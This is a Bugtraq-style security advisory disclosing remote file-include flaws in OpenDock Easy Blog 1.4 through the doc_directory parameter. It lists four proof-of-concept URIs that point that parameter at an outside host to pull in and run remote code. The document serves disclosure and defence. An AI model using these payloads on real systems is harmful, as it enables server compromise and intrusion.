Easy Blog Doc_Directory Parameter Multiple Remote File Include Vulnerabilities

Bugtraq ID:	20408
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 09 2006 12:00AM
Updated:	Oct 10 2006 08:44PM
Credit:	Dedi Dwianto is credited with the discovery of these vulnerabilities.
Vulnerable:	OpenDock Easy Blog 1.4
Not Vulnerable:

Easy Blog Doc_Directory Parameter Multiple Remote File Include Vulnerabilities

Easy Blog is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Easy Blog 1.4 and prior versions are affected by these issues.

Easy Blog Doc_Directory Parameter Multiple Remote File Include Vulnerabilities

An attacker can exploit this issue via a web client.

The following proof-of-concept URIs are available:

http://www.example.com/[OpenDockEasyBlog_Path]/sw/lib_up_file/file.php?doc_directory=http://www.example.com?
http://www.example.com/[OpenDockEasyBlog_Path]/sw/lib_up_file/find_file.php?doc_directory=http://www.example.com?
http://www.example.com/[OpenDockEasyBlog_Path]/sw/lib_comment/comment.php?doc_directory=http://www.example.com?
http://www.example.com/[OpenDockEasyBlog_Path]/sw/lib_find/find.php?doc_directory=http://www.example.com?

Easy Blog Doc_Directory Parameter Multiple Remote File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

Easy Blog Doc_Directory Parameter Multiple Remote File Include Vulnerabilities

References:

• Easy Blog Home Page (OpenDock)
  
• [ECHO_ADV_50$2006]OpenDock Easy Blog <=1.4 (doc_directory) ([email protected])